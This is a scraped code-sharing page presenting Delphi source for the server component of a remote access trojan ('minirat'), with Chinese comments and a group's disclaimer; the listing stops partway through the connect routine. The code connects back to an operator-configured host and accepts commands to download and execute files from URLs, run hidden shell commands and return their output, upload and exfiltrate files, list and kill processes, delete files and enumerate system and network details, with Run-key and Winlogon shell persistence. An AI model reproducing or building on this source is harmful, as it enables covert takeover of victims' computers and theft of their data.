复件 Userver.pas
上传用户:sinothink
上传日期:2022-07-15
资源大小:459k
文件大小:30k
源码类别:

远程控制编程

开发平台:

Delphi

  1. {南域剑盟    www.98exe.com   上兴QQ:51992
  2.  声明:程序由南域剑盟98exe.com成员网上搜集,不承担技术及版权问题}
  3. {随便加了点注释,文件传输不详细注了,大家网上找相关资料看}
  4. unit UServer;
  5. interface
  6. uses
  7.   Windows, Messages, Winsock, Wininet, untCMDList, ShellApi, psApi, TLHelp32,
  8.     untHTTPDownload,SysUtils2,URsConst;
  9. const
  10.   version = '0.50B';
  11.   { host          : string = '127.0.0.1';
  12.    password      : string = 'shj';
  13.    port          : integer = 80;
  14.    }
  15.   {文件属性常量}
  16.   faReadOnly = $00000001; //只读文件
  17.   faHidden = $00000002; //隐藏文件
  18.   faSysFile = $00000004; // 系统文件
  19.   faVolumeID = $00000008; // 卷标文件
  20.   faDirectory = $00000010; // 目录
  21.   faArchive = $00000020; //归档文件
  22.   faAnyFile = $0000003F; // 任意文件
  23. type
  24.   TFileName = type string; //文件
  25.   TSearchRec = record
  26.     Time: Integer;
  27.     Size: Integer;
  28.     Attr: Integer;
  29.     Name: TFileName;
  30.     ExcludeAttr: Integer;
  31.     FindHandle: THandle;
  32.     FindData: TWin32FindData;
  33.   end;
  34.   LongRec = packed record
  35.     case Integer of
  36.       0: (Lo, Hi: Word);
  37.       1: (Words: array[0..1] of Word);
  38.       2: (Bytes: array[0..3] of Byte);
  39.   end;
  40.   TInfo = record
  41.     Name: string;
  42.     Host: string;
  43.     Port: Integer;
  44.     Size: Integer;
  45.   end;
  46.   PInfo = ^TInfo;
  47.   TServer = class(TObject)
  48.   private
  49.     Sock: TSocket;
  50.     Addr: TSockAddrIn;
  51.     WSA: TWSAData;
  52.   public
  53.     procedure Connect;
  54.     procedure SendData(Text: string);
  55.     procedure ReceiveData;
  56.     function GetNet: string;
  57.   end;
  58. var
  59.   Serv: TServer;
  60.   PieZhi:TRedCtrl;
  61.   ConFile:string;
  62.   Info: TInfo;
  63.   Port: Integer;
  64.   Close: Boolean;
  65.   LastDir: string;
  66.   Host: string;
  67.   Password: string;
  68. {  dName: string;
  69.   dAName: string;
  70.   dSystem: string;
  71.   dMelt: string;
  72.   dDelay: string;
  73.   dPort: string;
  74.   dDns: string;
  75.   dPass: string;
  76.   dRegName: string;
  77.   dRegLM: string;
  78.   dRegCU: string;
  79.   dRegSH: string;
  80.   dInject: string;
  81. }
  82.   //判断网络是否链接--------------------------------------------
  83. function InternetGetConnectedStateEx(
  84.   lpdwFlags: LPDWORD;
  85.   lpszConnectionName: LPTSTR;
  86.   dwNameLen: DWORD;
  87.   dwReserved: DWORD): BOOL; stdcall;
  88. external 'wininet.dll' name 'InternetGetConnectedStateEx';
  89. procedure miniratMain;
  90. implementation
  91. procedure SetRegValue(ROOT: hKey; Path, Value, Str: string);
  92. var
  93.   Key: hKey;
  94.   Size: Cardinal;
  95. begin
  96.   RegOpenKey(ROOT, pChar(Path), Key); //打开给定键
  97.   Size := 2048;
  98.   RegSetValueEx(Key, pChar(Value), 0, REG_SZ, @Str[1], Size); //写注册表
  99.   RegCloseKey(Key); //释放
  100. end;
  101. procedure SetDelValue(ROOT: hKey; Path, Value: string);
  102. var
  103.   Key: hKey;
  104.   Size: Cardinal;
  105. begin
  106.   RegOpenKey(ROOT, pChar(Path), Key);
  107.   Size := 2048;
  108.   RegDeleteValue(Key, pChar(Value));
  109.   RegCloseKey(Key);
  110. end;
  111. //写入注册表-----------------------------------------------
  112. procedure Uninstall;
  113. begin
  114.   SetDelValue(HKEY_LOCAL_MACHINE,
  115.     'SoftwareMicrosoftWindowsCurrentVersionRun', dRegName);
  116.   SetDelValue(HKEY_CURRENT_USER,
  117.     'SoftwareMicrosoftWindowsCurrentVersionRun', dRegName);
  118.   SetRegValue(HKEY_LOCAL_MACHINE,
  119.     'SoftwareMicrosoft NTWindowsCurrentVersionWinlogon', 'Shell',
  120.     'Explorer.exe');
  121.   ExitProcess(0);
  122. end;
  123. function Enumeration(dRes: PNetResource; dI: Integer): string;
  124. var
  125.   dHandle: THandle;
  126.   K: DWord;
  127.   BufferSize: DWord;
  128.   Buffer: array[0..1023] of TNetResource;
  129.   I: Word;
  130.   Temp: string;
  131. begin
  132.   WNetOpenEnum(2, 0, 0, dRes, dHandle);
  133.   K := 1024; //  大小为1024
  134.   BufferSize := SizeOf(Buffer); //获得盘
  135.   while (WNetEnumResource(dHandle, K, @Buffer, BufferSize) = 0) do //获得资源
  136.     for I := 0 to K - 1 do
  137.     begin
  138.       if (Buffer[I].dwDisplayType = RESOURCEDISPLAYTYPE_SERVER) then
  139.         //显示类型为服务器(工作组)
  140.       begin
  141.         Temp := IntToStr(C_INFONETWORK) + ' ' + pChar(Buffer[I].lpRemoteName) +
  142.           ' "' + pChar(Buffer[I].lpComment) + '"'#10;
  143.         if (Pos(Temp, Result) = 0) then
  144.           Result := Result + Temp;
  145.       end;
  146.       if (Buffer[I].dwUsage > 0) then
  147.       begin
  148.         Temp := Enumeration(@Buffer[I], 1);
  149.         if (Pos(Temp, Result) = 0) then
  150.           Result := Result + Temp;
  151.       end;
  152.     end;
  153.   WNetCloseEnum(dHandle); // 获取所有目录
  154. end;
  155. function GetNetworkInfo: string;
  156. begin
  157.   Result := IntToStr(C_INFONETWORK) + ' Domains Comments'#10 +
  158.     Enumeration(nil, 0);
  159. end;
  160. //尾部加入资源,版本,地址,密码,端口------------------
  161. function GetServerInfo: string;
  162. begin
  163.   Result := IntToStr(C_INFOSERVER) + ' Version ' + Version + #10 +
  164.     IntToStr(C_INFOSERVER) + ' RmtAddr ' + PieZhi.dDnsHost + #10 +
  165.     IntToStr(C_INFOSERVER) + ' Password ' + PieZhi.dPass + #10 +
  166.     IntToStr(C_INFOSERVER) + ' SrvPort ' + PieZhi.dLocalPort + #10 +
  167.     IntToStr(C_INFOSERVER) + ' RmtPort ' + PieZhi.dRemotePort + #10;
  168. end;
  169. //记录-----
  170. function GetInformation: string;
  171. var
  172.   HostName: array[0..069] of Char;
  173.   Sysdir: array[0..255] of Char;
  174.   MemoryStatus: TMemoryStatus;
  175.   Total: Integer;
  176. begin
  177.   GetHostName(HostName, SizeOf(HostName));
  178.   GetSystemDirectory(Sysdir, 256);
  179.   MemoryStatus.dwLength := SizeOf(TMemoryStatus);
  180.   GlobalMemoryStatus(MemoryStatus);
  181.   Total := GetTickCount() div 1000;
  182.   Result := IntToStr(C_INFOSYSTEM) + ' Hostname ' + Hostname + #10 +
  183.     IntToStr(C_INFOSYSTEM) + ' System ' + string(SysDir) + #10 +
  184.     IntToStr(C_INFOSYSTEM) + ' Memory(Total) ' +
  185.       IntToStr(MemoryStatus.dwTotalPhys div 1048576) + ' MB Total'#10 +
  186.     IntToStr(C_INFOSYSTEM) + ' Memory(Free) ' + IntToStr(MemoryStatus.dwAvailPhys
  187.       div 1048576) + ' MB Free'#10 +
  188.     IntToStr(C_INFOSYSTEM) + ' Memory(Used) ' +
  189.       IntToStr(MemoryStatus.dwMemoryLoad) + '% In Use'#10 +
  190.     IntToStr(C_INFOSYSTEM) + ' Uptime ' + IntToStr(Total div 86400) + ' days ' +
  191.     IntToStr((Total mod 86400) div 3600) + ' hours ' +
  192.     IntToStr(((Total mod 86400) mod 3600) div 60) + ' min ' +
  193.     IntToStr((((Total mod 86400) mod 3600) mod 60) div 1) + ' sec'#10;
  194. end;
  195. //检查本机网络状态---------------------
  196. function TServer.GetNet: string;
  197. var
  198.   W: DWord;
  199.   Name: array[0..128] of Char;
  200. begin
  201.   FillChar(Name, SizeOf(Name), 0);
  202.   InternetGetConnectedStateEx(@W, Name, 128, 0); //检查连接internet状态
  203.   if (W and INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN then
  204.     Result := 'LAN (' + string(Name) + ')'
  205.   else
  206.     Result := 'Dial-Up (' + string(Name) + ')';
  207. end;
  208. // Send Data
  209. function SendData(Sock: TSocket; Text: string; var sByte: Cardinal): Integer;
  210. var
  211.   Len: Integer;
  212. begin
  213.   Result := Length(Text);
  214.   Len := Send(Sock, Text[1], Length(Text), 0);
  215.   Inc(sByte, Len);
  216. end;
  217. //下面基本都是功能了,文件的操作等
  218. procedure StripOutCmd(Text: string; var Cmd: string);
  219. begin Cmd := Copy(Text, 1, Pos(' ', Text) - 1);
  220. end;
  221. procedure StripOutParam(Text: string; var Param: array of string);
  222. var
  223.   I: Word;
  224. begin
  225.   if Text = '' then Exit;
  226.   FillChar(Param, SizeOf(Param), 0);
  227.   Delete(Text, 1, Pos(' ', Text));
  228.   if Text = '' then Exit;
  229.   if (Text[Length(Text)] <> ' ') then Text := Text + ' ';
  230.   I := 0;
  231.   while (Pos(' ', Text) > 0) do
  232.   begin
  233.     Param[I] := Copy(Text, 1, Pos(' ', Text) - 1);
  234.     Inc(I);
  235.     Delete(Text, 1, Pos(' ', Text));
  236.     if (I >= 100) then Break;
  237.   end;
  238. end;
  239. //   传递文件
  240. function RecvFile(P: Pointer): DWord; STDCALL;
  241. var
  242.   Sock: TSocket;
  243.   Addr: TSockAddrIn;
  244.   WSA: TWSAData;
  245.   BytesRead: Cardinal;
  246.   F: file;
  247.   Buf: array[0..8192] of Char;
  248.   dErr: Integer;
  249.   Name: string;
  250.   Host: string;
  251.   Port: Integer;
  252.   Size: Integer;
  253.   T: string;
  254. begin
  255.   Name := PInfo(P)^.Name;
  256.   Host := PInfo(P)^.Host;
  257.   Port := PInfo(P)^.Port;
  258.   Size := PInfo(P)^.Size;
  259.   WSAStartUp($0101, WSA);
  260.   Sock := Socket(AF_INET, SOCK_STREAM, 0);
  261.   Addr.sin_family := AF_INET;
  262.   Addr.sin_port := hTons(Port);
  263.   Addr.sin_addr.S_addr := inet_Addr(pchar(Host));
  264.   if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;
  265.   {$I-}
  266.   T := 'ok';
  267.   AssignFile(F, Name);
  268.   Rewrite(F, 1);
  269.   repeat
  270.     FillChar(Buf, SizeOf(Buf), 0);
  271.     dErr := Recv(Sock, Buf, SizeOf(Buf), 0);
  272.     if (dErr > 0) then
  273.       BlockWrite(F, Buf, dErr)
  274.     else
  275.       Break;
  276.     Dec(Size, dErr);
  277.     dErr := Send(Sock, T[1], Length(T), 0);
  278.   until Size <= 0;
  279.   CloseFile(F);
  280.   {$I+}
  281.   WSACleanUp();
  282. end;
  283. //定时检测
  284. function SendFile(P: Pointer): DWord; STDCALL;
  285. var
  286.   Sock: TSocket;
  287.   Addr: TSockAddrIn;
  288.   WSA: TWSAData;
  289.   BytesRead: Cardinal;
  290.   F: file;
  291.   Buf: array[0..8192] of Char;
  292.   dErr: Integer;
  293.   Name: string;
  294.   Host: string;
  295.   Port: Integer;
  296.   T: string;
  297. begin
  298.   Name := PInfo(P)^.Name;
  299.   Host := PInfo(P)^.Host;
  300.   Port := PInfo(P)^.Port;
  301.   WSAStartUp($0101, WSA);
  302.   Sock := Socket(AF_INET, SOCK_STREAM, 0);
  303.   Addr.sin_family := AF_INET;
  304.   Addr.sin_port := hTons(Port);
  305.   Addr.sin_addr.S_addr := inet_Addr(pchar(Host));
  306.   if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;
  307.   {$I-}
  308.   T := 'ok';
  309.   AssignFile(F, Name);
  310.   Reset(F, 1);
  311.   repeat
  312.     BlockRead(F, Buf, SizeOf(Buf), BytesRead);
  313.     if (BytesRead = 0) then Break;
  314.     Send(Sock, Buf[0], SizeOf(Buf), 0);
  315.     FillChar(Buf, SizeOf(Buf), 0);
  316.     Recv(Sock, Buf, SizeOf(Buf), 0);
  317.   until BytesRead = 0;
  318.   CloseFile(F);
  319.   {$I+}
  320.   WSACleanUp();
  321. end;
  322. //取回的文件大小 ------------------------------
  323. function GetFileSize(FileName: string): Int64;
  324. var
  325.   H: THandle;
  326.   Data: TWIN32FindData;
  327. begin
  328.   Result := -1;
  329.   H := FindFirstFile(pChar(FileName), Data);
  330.   if (H <> INVALID_HANDLE_VALUE) then
  331.   begin
  332.     Windows.FindClose(H);
  333.     Result := Int64(Data.nFileSizeHigh) shl 32 + Data.nFileSizeLow;
  334.   end;
  335. end;
  336. //将IP解释成主机名
  337. function RemoteAddr(Sock: TSocket): TSockAddrIn;
  338. var
  339.   W: TWSAData;
  340.   S: TSockAddrIn;
  341.   I: Integer;
  342. begin
  343.   WSAStartUP($0101, W);
  344.   I := SizeOf(S);
  345.   GetPeerName(Sock, S, I);
  346.   WSACleanUP();
  347.   Result := S;
  348. end;
  349. function RemoteAddress(Sock: TSocket): string;
  350. begin
  351.   Result := INET_NTOA(RemoteAddr(Sock).sin_addr);
  352. end;
  353. function FindMatchingFile(var F: TSearchRec): Integer;
  354. var
  355.   LocalFileTime: TFileTime; //文件创建的时间
  356. begin
  357.   with F do
  358.   begin
  359.     while FindData.dwFileAttributes and ExcludeAttr <> 0 do
  360.       if not FindNextFile(FindHandle, FindData) then
  361.       begin
  362.         Result := GetLastError;
  363.         Exit;
  364.       end;
  365.     FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
  366.     FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, LongRec(Time).Lo);
  367.     Size := FindData.nFileSizeLow;
  368.     Attr := FindData.dwFileAttributes;
  369.     Name := FindData.cFileName;
  370.   end;
  371.   Result := 0;
  372. end;
  373. procedure FindClose(var F: TSearchRec);
  374. begin
  375.   if F.FindHandle <> INVALID_HANDLE_VALUE then
  376.   begin
  377.     Windows.FindClose(F.FindHandle);
  378.     F.FindHandle := INVALID_HANDLE_VALUE;
  379.   end;
  380. end;
  381. function FindFirst(const Path: string; Attr: Integer;
  382.   var F: TSearchRec): Integer;
  383. const
  384.   faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
  385. begin
  386.   F.ExcludeAttr := not Attr and faSpecial;
  387.   F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
  388.   if F.FindHandle <> INVALID_HANDLE_VALUE then
  389.   begin
  390.     Result := FindMatchingFile(F);
  391.     if Result <> 0 then FindClose(F);
  392.   end
  393.   else
  394.     Result := GetLastError;
  395. end;
  396. function FindNext(var F: TSearchRec): Integer;
  397. begin
  398.   if FindNextFile(F.FindHandle, F.FindData) then
  399.     Result := FindMatchingFile(F)
  400.   else
  401.     Result := GetLastError;
  402. end;
  403. //找到的是个目录而不是文件...
  404. procedure GenerateList(Dir: string; dNr: Integer);
  405. var
  406.   SR: TSearchRec;
  407.   Temp: string;
  408.   Att: string;
  409. begin
  410.   if (Dir = '') then Exit;
  411.   if (Dir[Length(Dir)] <> '') then Dir := Dir + '';
  412.   if FindFirst(Dir + '*.*', faDirectory or faHidden or faSysFile or faVolumeID or
  413.     faArchive or faAnyFile, SR) = 0 then
  414.     repeat
  415.       if ((SR.Attr and faDirectory) = faDirectory) then
  416.       begin
  417.         Temp := IntToStr(C_REQUESTLIST) + ' DIR 0 ' + SR.Name + #10;
  418.         if (dNr = 1) then
  419.           Send(Serv.Sock, Temp[1], Length(Temp), 0);
  420.       end
  421.       else
  422.       begin
  423.         Att := '';
  424.         if ((SR.Attr and faReadOnly) = faReadOnly) then
  425.           Att := Att + 'ReadOnly/';
  426.         if ((SR.Attr and faHidden) = faHidden) then Att := Att + 'Hidden/';
  427.         if ((SR.Attr and faSysFile) = faSysFile) then Att := Att + 'SysFile/';
  428.         if ((SR.Attr and faVolumeID) = faVolumeID) then
  429.           Att := Att + 'VolumeID/';
  430.         if ((SR.Attr and faArchive) = faArchive) then Att := Att + 'Archive/';
  431.         if ((SR.Attr and faAnyFile) = faAnyFile) then Att := Att + 'AnyFile/';
  432.         if Copy(Att, length(Att), 1) = '/' then
  433.           Delete(Att, Length(Att), 1);
  434.         Temp := IntToStr(C_REQUESTLIST) + ' ' + Att + ' ' + IntToStr(SR.Size) +
  435.           ' ' + SR.Name + #10;
  436.         if (dNr = 2) then
  437.           Send(Serv.Sock, Temp[1], Length(Temp), 0);
  438.       end;
  439.     until FindNext(SR) <> 0;
  440. end;
  441. procedure CvtInt;
  442. asm
  443.        OR      CL,CL
  444.        JNZ     @CvtLoop
  445. @C1:    OR      EAX,EAX
  446.        JNS     @C2
  447.        NEG     EAX
  448.        CALL    @C2
  449.        MOV     AL,'-'
  450.        INC     ECX
  451.        DEC     ESI
  452.        MOV     [ESI],AL
  453.        RET
  454. @C2:    MOV     ECX,10
  455. @CvtLoop:
  456.        PUSH    EDX
  457.        PUSH    ESI
  458. @D1:    XOR     EDX,EDX
  459.        DIV     ECX
  460.        DEC     ESI
  461.        ADD     DL,'0'
  462.        CMP     DL,'0'+10
  463.        JB      @D2
  464.        ADD     DL,('A'-'0')-10
  465. @D2:    MOV     [ESI],DL
  466.        OR      EAX,EAX
  467.        JNE     @D1
  468.        POP     ECX
  469.        POP     EDX
  470.        SUB     ECX,ESI
  471.        SUB     EDX,ECX
  472.        JBE     @D5
  473.        ADD     ECX,EDX
  474.        MOV     AL,'0'
  475.        SUB     ESI,EDX
  476.        JMP     @z
  477. @zloop: MOV     [ESI+EDX],AL
  478. @z:     DEC     EDX
  479.        JNZ     @zloop
  480.        MOV     [ESI],AL
  481. @D5:
  482. end;
  483. function IntToHex(Value: Integer; Digits: Integer): string;
  484. asm
  485.        CMP     EDX, 32
  486.        JBE     @A1
  487.        XOR     EDX, EDX
  488. @A1:    PUSH    ESI
  489.        MOV     ESI, ESP
  490.        SUB     ESP, 32
  491.        PUSH    ECX
  492.        MOV     ECX, 16
  493.        CALL    CvtInt
  494.        MOV     EDX, ESI
  495.        POP     EAX
  496.        CALL    System.@LStrFromPCharLen
  497.        ADD     ESP, 32
  498.        POP     ESI
  499. end;
  500. //列出进程 + 列出模块 (查看PID, 线程, 模块)
  501. procedure ListProcess(dInt: Integer);
  502. var
  503.   CB: DWord;
  504.   hMod_: HMODULE;
  505.   hMod: array[0..300] of HMODULE;
  506.   hProcess: THandle;
  507.   hModule: THandle;
  508.   hSnapShot: THandle;
  509.   ProcessName: array[0..300] of Char;
  510.   ModuleName: array[0..300] of Char;
  511.   ProcessEntry: TProcessEntry32;
  512.   Done: Boolean;
  513.   Temp: string;
  514.   Mods: Integer;
  515.   I: Word;
  516.   B: array[0..9] of Char;
  517. begin
  518.   hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
  519.   ProcessEntry.dwSize := SizeOf(ProcessEntry);
  520.   Done := Process32First(hSnapShot, ProcessEntry);
  521.   while Done do
  522.   begin
  523.     hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, False,
  524.       ProcessEntry.th32ProcessID);
  525.     if (hProcess <> 0) then
  526.     begin
  527.       EnumProcessModules(hProcess, @hMod_, SizeOf(hMod_), CB);
  528.       GetModuleFileNameExA(hProcess, hMod_, ProcessName, SizeOf(ProcessName));
  529.       if (Pos('', ProcessName) > 0) then
  530.       begin
  531.         Temp := IntToStr(C_PROCESSLIST) + ' ' +
  532.           IntToStr(ProcessEntry.cntThreads) + ' ' +
  533.           IntToStr(ProcessEntry.th32ProcessID) + ' ' +
  534.           IntToHex(ProcessEntry.th32ProcessID, 8) + ' ' +
  535.           ProcessName + #10;
  536.         Send(Serv.Sock, Temp[1], Length(Temp), 0);
  537.         if (Recv(Serv.Sock, B[0], SizeOf(B), 0) <= 0) then
  538.         begin
  539.           CloseHandle(hProcess);
  540.           CloseHandle(hSnapShot);
  541.           Exit;
  542.         end;
  543.         if (dInt = 1) then
  544.         begin
  545.           EnumProcessModules(hProcess, @hMod, SizeOf(hMod), CB);
  546.           Mods := CB div SizeOf(HMODULE);
  547.           Temp := '';
  548.           for I := 0 to Mods do
  549.           begin
  550.             GetModuleFilenameExA(hProcess, hMod[I], ModuleName,
  551.               SizeOf(ModuleName));
  552.             Temp := IntToStr(C_MODULELIST) + ' ' +
  553.               IntToStr(ProcessEntry.th32ProcessID) + ' ' +
  554.               ExtractFileName(ProcessName) + #1' ' +
  555.               ModuleName + #10;
  556.             Send(Serv.Sock, Temp[1], Length(Temp), 0);
  557.             if (Recv(Serv.Sock, B[0], SizeOf(B), 0) <= 0) then
  558.             begin
  559.               CloseHandle(hProcess);
  560.               CloseHandle(hSnapShot);
  561.               Exit;
  562.             end;
  563.           end;
  564.         end;
  565.       end;
  566.       CloseHandle(hProcess);
  567.     end;
  568.     Done := Process32Next(hSnapshot, ProcessEntry);
  569.   end;
  570.   CloseHandle(hSnapShot);
  571. end;
  572. procedure EndProcess(dPID: string);
  573. var
  574.   ProcessHandle: THandle;
  575.   ReturnValue: Boolean;
  576.   Temp: string;
  577. begin
  578.   ProcessHandle := OpenProcess(PROCESS_TERMINATE, BOOL(0), StrToInt(dPID));
  579.   ReturnValue := TerminateProcess(ProcessHandle, 0);
  580.   if (not ReturnValue) then
  581.     Temp := IntToStr(C_ENDPROCESS) + ' ' + dPID + ' 0'#10
  582.   else
  583.     Temp := IntToStr(C_ENDPROCESS) + ' ' + dPID + ' 1'#10;
  584.   Send(Serv.Sock, Temp[1], Length(Temp), 0);
  585. end;
  586. function RunDosInCap(DosApp: string): string;
  587. const
  588.   ReadBuffer = 24000;
  589. var
  590.   Security: TSecurityAttributes;
  591.   ReadPipe, WritePipe: THandle;
  592.   start: TStartUpInfo;
  593.   ProcessInfo: TProcessInformation;
  594.   Buffer: Pchar;
  595.   BytesRead, Apprunning: DWord;
  596. begin
  597.   with Security do
  598.   begin
  599.     nlength := SizeOf(TSecurityAttributes);
  600.     binherithandle := true;
  601.     lpsecuritydescriptor := nil;
  602.   end;
  603.   if Createpipe(ReadPipe, WritePipe, @Security, 0) then
  604.   begin
  605.     Buffer := AllocMem(ReadBuffer + 1);
  606.     FillChar(Start, Sizeof(Start), #0);
  607.     start.cb := SizeOf(start);
  608.     start.hStdOutput := WritePipe;
  609.     start.hStdInput := ReadPipe;
  610.     start.dwFlags := STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
  611.     start.wShowWindow := SW_HIDE;
  612.     if CreateProcess(nil, PChar(DosApp), @Security, @Security, true,
  613.       NORMAL_PRIORITY_CLASS, nil, nil, start, ProcessInfo) then
  614.     begin
  615.       repeat
  616.         Apprunning := WaitForSingleObject(ProcessInfo.hProcess, 100);
  617.       until (Apprunning <> WAIT_TIMEOUT);
  618.       repeat
  619.         BytesRead := 0;
  620.         ReadFile(ReadPipe, Buffer[0], ReadBuffer, BytesRead, nil);
  621.         Buffer[BytesRead] := #0;
  622.         OemToAnsi(Buffer, Buffer);
  623.         Result := Result + string(Buffer);
  624.       until (BytesRead < ReadBuffer);
  625.     end;
  626.     FreeMem(Buffer);
  627.     CloseHandle(ProcessInfo.hProcess);
  628.     CloseHandle(ProcessInfo.hThread);
  629.     CloseHandle(ReadPipe);
  630.     CloseHandle(WritePipe);
  631.   end;
  632. end;
  633. procedure ReplaceStr(ReplaceWord, WithWord: string; var Text: string);
  634. var
  635.   xPos: Integer;
  636. begin
  637.   while Pos(ReplaceWord, Text) > 0 do
  638.   begin
  639.     xPos := Pos(ReplaceWord, Text);
  640.     Delete(Text, xPos, Length(ReplaceWord));
  641.     Insert(WithWord, Text, xPos);
  642.   end;
  643. end;
  644. //文件传递
  645. procedure TServer.ReceiveData;
  646. var
  647.   Buffer: array[0..1600] of Char;
  648.   Data: string;
  649.   Time: TTimeVal;
  650.   FDS: TFDSet;
  651.   D: Dword;
  652.   Len: Integer;
  653.   Port: Integer;
  654.   Temp: string;
  655.   Cmd: string;
  656.   Param: array[0..100] of string;
  657.   P: Integer;
  658.   FName: string;
  659. begin
  660.   repeat
  661.     Time.tv_sec := 120;
  662.     Time.tv_usec := 0;
  663.     FD_ZERO(FDS);
  664.     FD_SET(Sock, FDS);
  665.     if Select(0, @FDS, nil, nil, @TIME) <= 0 then Break;
  666.     Len := Recv(Sock, Buffer, 1600, 0);
  667.     if (Len <= 0) then Break;
  668.     Data := string(Buffer);
  669.     ZeroMemory(@Buffer, SizeOf(Buffer));
  670.     while (Pos(#10, Data) > 0) do
  671.     begin
  672.       Temp := Copy(Data, 1, Pos(#10, Data) - 1);
  673.       Delete(Data, 1, Pos(#10, Data));
  674.       StripOutCmd(Temp, Cmd);
  675.       StripOutParam(Temp, Param);
  676.       case StrToInt(Cmd) of
  677.         C_DOWNLOAD:
  678.           begin
  679.             Temp := IntToStr(C_DOWNLOAD) + ' ' + ExecuteFileFromURL(Param[0],
  680.               Copy(Temp, Pos(Param[1], Temp), Length(Temp)));
  681.             Send(Sock, Temp[1], Length(Temp), 0);
  682.             Sleep(2000);
  683.             ExitProcess(0);
  684.           end;
  685.         C_UNINSTALL: Uninstall;
  686.         C_PASS:
  687.           if (Param[0] = '0') then CloseSocket(Sock);
  688.         C_GETFILE:
  689.           begin
  690.             Delete(Temp, 1, 2);
  691.             if (FileExists(Temp)) then
  692.             begin
  693.               FName := ExtractFileName(Temp);
  694.               repeat
  695.                 P := Pos(#32, FName);
  696.                 Delete(FName, P, 1);
  697.                 Insert('_', FName, P);
  698.               until (Pos(#32, FName) = 0);
  699.               Port := ((Random(9) + 1) * 1000) + Random(500);
  700.               SendData(IntToStr(C_STARTTRANSFER) + ' 0 ' +
  701.                 IntToStr(GetFileSize(Temp)) + ' ' + IntToStr(Port) + ' ' + FName +
  702.                 #10);
  703.               Info.Name := Temp;
  704.               Info.Host := RemoteAddress(Sock);
  705.               Info.Port := Port;
  706.               CreateThread(nil, 0, @SendFile, @Info, 0, D);
  707.             end;
  708.           end;
  709.         C_PUTFILE:
  710.           begin
  711.             (* C_PUTFILE size NewName#1 OldName *)
  712.             Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
  713.             FName := Copy(Temp, Pos(#1, Temp) + 2, Length(Temp));
  714.             Temp := Copy(Temp, 1, Pos(#1, Temp) - 1);
  715.             Port := ((Random(9) + 1) * 1000) + Random(500);
  716.             SendData(IntToStr(C_STARTTRANSFER) + ' 1 ' + Param[0] + ' ' +
  717.               IntToStr(Port) + ' ' + FName + #10);
  718.             Info.Name := Temp;
  719.             Info.Host := RemoteAddress(Sock);
  720.             Info.Port := Port;
  721.             Info.Size := StrToInt(Param[0]);
  722.             CreateThread(nil, 0, @RecvFile, @Info, 0, D);
  723.           end;
  724.         C_INFOSYSTEM: SendData(GetInformation());
  725.         C_INFOSERVER: SendData(GetServerInfo());
  726.         C_INFONETWORK: SendData(GetNetworkInfo());
  727.         C_REQUESTDRIVE:
  728.           begin
  729.             SetLength(Temp, 300);
  730.             GetLogicalDriveStrings(300, pChar(Temp));
  731.             while (Pos(#0, Temp) > 0) do
  732.             begin
  733.               FName := IntToStr(C_REQUESTDRIVE) + ' ' + Copy(Temp, 1, Pos(#0,
  734.                 Temp) - 1) + #10;
  735.               Temp := Copy(Temp, Pos(#0, Temp) + 1, Length(Temp));
  736.               Send(Sock, FName[1], Length(FName), 0);
  737.               FName := '';
  738.             end;
  739.           end;
  740.         C_REQUESTLIST:
  741.           begin
  742.             Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
  743.             GenerateList(Temp, 1);
  744.             GenerateList(Temp, 2);
  745.             LastDir := IntToStr(C_CURRENTPATH) + ' ' + Temp;
  746.             if LastDir <> '' then
  747.               if (LastDir[Length(LastDir)] <> '') then
  748.                 LastDir := LastDir + '';
  749.             LastDir := LastDir + #10;
  750.           end;
  751.         C_CURRENTPATH: Send(Sock, LastDir[1], Length(LastDir), 0);
  752.         C_EXECUTE:
  753.           begin
  754.             Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
  755.             ShellExecute(0, 'open', pChar(Temp), nil, nil, StrToInt(Param[0]));
  756.           end;
  757.         C_DELETE:
  758.           begin
  759.             Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
  760.             DeleteFile(pChar(Temp));
  761.           end;
  762.         C_PROCESSLIST:
  763.           begin
  764.             ListProcess(StrToInt(Param[0]));
  765.             Temp := IntToStr(C_FINISH) + ' '#10;
  766.             Send(Sock, Temp[1], Length(Temp), 0);
  767.           end;
  768.         C_ENDPROCESS: EndProcess(Copy(Temp, 4, Length(Temp)));
  769.         C_REMOTECMD:
  770.           begin
  771.             Temp := IntToStr(C_REMOTECMD) + ' ' +
  772.               RunDosInCap(Copy(Temp, 4, Length(Temp)));
  773.             ReplaceStr(#10, #1, Temp);
  774.             Temp := Temp + #10;
  775.             Send(Sock, Temp[1], Length(Temp), 0);
  776.           end;
  777.       end;
  778.     end;
  779.   until 1 = 2;
  780.   CloseSocket(Sock);
  781. end;
  782. procedure TServer.SendData(Text: string);
  783. var
  784.   dErr: Integer;
  785. begin
  786.   dErr := Send(Sock, Text[1], Length(Text), 0);
  787.   if (dErr = 0) then Exit;
  788. end;
  789. function ComputerName: string;
  790. var
  791.   CNameBuffer: PChar;
  792.   fl_loaded: Boolean;
  793.   CLen: ^DWord;
  794. begin
  795.   GetMem(CNameBuffer,255);
  796.   New(CLen);
  797.   CLen^:= 255;
  798.   fl_loaded := GetComputerName(CNameBuffer,CLen^);
  799.   if fl_loaded then
  800.     Result := StrPas(CNameBuffer)
  801.   else
  802.     Result := 'Unkown';
  803.   FreeMem(CNameBuffer,255);
  804.   Dispose(CLen);
  805. end;
  806. procedure TServer.Connect;
  807. begin
  808.   Password := PieZhi.dPass;
  809.   Host := ResolveIP(PieZhi.dDnsHost);
  810.   Port := 81; // StrToInt(PieZhi.dRemotePort);
  811.   WSAStartUP($0101, WSA); //加载winsock库
  812.   Close := False;
  813.   repeat
  814.     Sock := Socket(AF_INET, SOCK_STREAM, 0);
  815.     Addr.sin_family := AF_INET;
  816.     Addr.sin_port := hTons(Port);
  817.     Addr.sin_addr.S_addr := inet_Addr(pChar(Host));
